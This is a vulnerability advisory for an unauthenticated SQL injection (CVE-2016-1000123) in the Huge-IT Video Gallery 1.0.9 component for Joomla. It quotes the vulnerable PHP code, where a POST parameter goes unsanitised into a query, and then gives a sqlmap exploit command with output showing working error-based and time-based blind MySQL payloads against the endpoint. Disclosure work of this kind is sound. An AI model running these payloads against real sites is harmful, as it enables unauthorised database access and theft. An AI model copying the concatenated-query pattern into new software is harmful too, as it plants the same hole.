Joomla! Component com_videogallerylite 1.0.9 – SQL Injection
Title: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla Author: Larry W. Cashdollar, @_larry0 Date: 2016-09-15 Download Site: http://huge-it.com/joomla-video-gallery/ Vendor: www.huge-it.com, fixed v1.1.0 Vendor Notified: 2016-09-17 Vendor Contact: info@huge-it.com Description: A video slideshow gallery. Vulnerability: The following code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php. Vulnerable Code in : ajax_url.php 11 define('_JEXEC',1); 12 defined('_JEXEC') or die('Restircted access'); . . . 28 if($_POST['task']=="load_videos_content"){ 29 30 $page = 1; 31 32 33 if(!empty($_POST["page"]) && is_numeric($_POST['page']) && $_POST['page']>0){ 34 $paramssld=''; 35 $db5 = JFactory::getDBO(); 36 $query5 = $db->getQuery(true); 37 $query5->select('*'); 38 $query5->from('#__huge_it_videogallery_params'); 39 $db->setQuery($query5); 40 $options_params = $db5->loadObjectList(); 41 foreach ($options_params as $rowpar) { 42 $key = $rowpar->name; 43 $value = $rowpar->value; 44 $paramssld[$key] = $value; 45 } 46 $page = $_POST["page"]; 47 $num=$_POST['perpage']; 48 $start = $page * $num - $num; 49 $idofgallery=$_POST['galleryid']; 50 51 $query = $db->getQuery(true); 52 $query->select('*'); 53 $query->from('#__huge_it_videogallery_videos'); 54 $query->where('videogallery_id ='.$idofgallery); 55 $query ->order('#__huge_it_videogallery_videos.ordering asc'); 56 $db->setQuery($query,$start,$num); CVE-2016-1000123 Exploit Code: aC/ $ sqlmap -u 'http://server/components/com_videogallerylite/ajax_url.php' --data="page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2" --level=5 --risk=3 aC/ . aC/ . aC/ . aC/ (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] aC/ sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests: aC/ --- aC/ Parameter: #1* ((custom) POST) aC/ Type: error-based aC/ Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR) aC/ Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2 aC/ aC/ Type: AND/OR time-based blind aC/ Title: MySQL >= 5.0.12 time-based blind - Parameter replace aC/ Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2 aC/ --- aC/ [19:36:55] [INFO] the back-end DBMS is MySQL aC/ web server operating system: Linux Debian 8.0 (jessie) aC/ web application technology: Apache 2.4.10 aC/ back-end DBMS: MySQL >= 5.0.12 aC/ [19:36:55] [WARNING] HTTP error codes detected during run: aC/ 500 (Internal Server Error) - 2714 times aC/ [19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4' aC/ aC/ [*] shutting down at 19:36:55 Advisory: http://www.vapidlabs.com/advisory.php?v=169 |